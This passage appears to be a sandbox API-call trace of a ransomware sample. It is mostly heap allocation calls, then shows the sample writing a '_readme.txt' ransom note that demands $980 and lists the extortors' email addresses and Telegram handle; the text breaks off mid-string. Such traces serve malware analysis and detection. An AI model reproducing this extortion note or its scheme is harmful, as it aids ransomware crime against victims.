dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.596] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.596] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.596] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.596] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.596] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.596] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.596] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.596] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.596] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.596] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.596] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.596] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.596] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.596] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.596] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.596] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.596] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.596] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.596] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.596] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.596] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.596] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.597] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.597] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.597] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.597] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.597] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.597] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.597] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.597] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.597] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.597] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.597] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.597] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.597] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.597] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.597] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.597] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.597] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.597] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.597] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.597] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.597] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.597] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.597] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.597] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.597] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.597] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.597] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.597] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.597] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.597] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.597] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.597] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.597] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.597] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.598] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.598] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.598] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.598] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.598] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.598] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.598] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.598] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.598] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.598] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.598] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.598] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.598] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.598] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.598] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.598] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.598] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.598] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.598] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.598] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.598] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.598] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.598] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.598] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.598] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.598] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.598] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.598] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.598] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.598] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.598] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.598] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.598] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.598] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.599] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.599] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.599] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.599] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.599] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.599] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.599] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.599] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.599] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.599] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.599] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.599] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.599] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.599] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.599] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.599] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.599] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.599] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.599] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.599] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.599] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.599] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.599] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.599] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.599] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.599] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.599] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.599] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.599] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.599] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.599] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.599] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.599] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.600] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.600] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.600] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.600] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.600] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.600] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.600] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.600] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.600] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.600] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.600] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.600] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.600] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.600] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.600] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.600] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.600] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.600] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.600] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.600] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.600] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.600] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.600] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.600] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.600] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.600] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.600] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.600] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.600] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.600] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.600] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.600] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.600] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.600] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.601] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.601] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.601] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.601] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.601] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.601] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.601] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.601] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.601] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.601] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.601] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.601] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.601] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.601] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.601] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.601] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.601] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.601] PathFindFileNameW (pszPath="C:\\Boot\\nl-NL\\") returned="nl-NL\\" [0124.601] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.601] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.601] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.601] PathFindFileNameW (pszPath="") returned="" [0124.601] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.601] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x768b0000 [0124.602] GetProcAddress (hModule=0x768b0000, lpProcName="SHGetFolderPathW") returned 0x76935708 [0124.602] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x800) returned 0x30f90a8 [0124.602] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x30f90a8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.602] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x810) returned 0x30e8ae0 [0124.602] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.602] FreeLibrary (hLibModule=0x768b0000) returned 1 [0124.602] PathAppendW (in: pszPath="C:\\Boot\\nl-NL\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\nl-NL\\_readme.txt") returned 1 [0124.602] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.602] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.602] PathFileExistsW (pszPath="C:\\Boot\\nl-NL\\_readme.txt") returned 0 [0124.603] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x7d00) returned 0x30fa550 [0124.603] lstrcpyW (in: lpString1=0x30fa550, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" [0124.603] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg", lpString2="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" 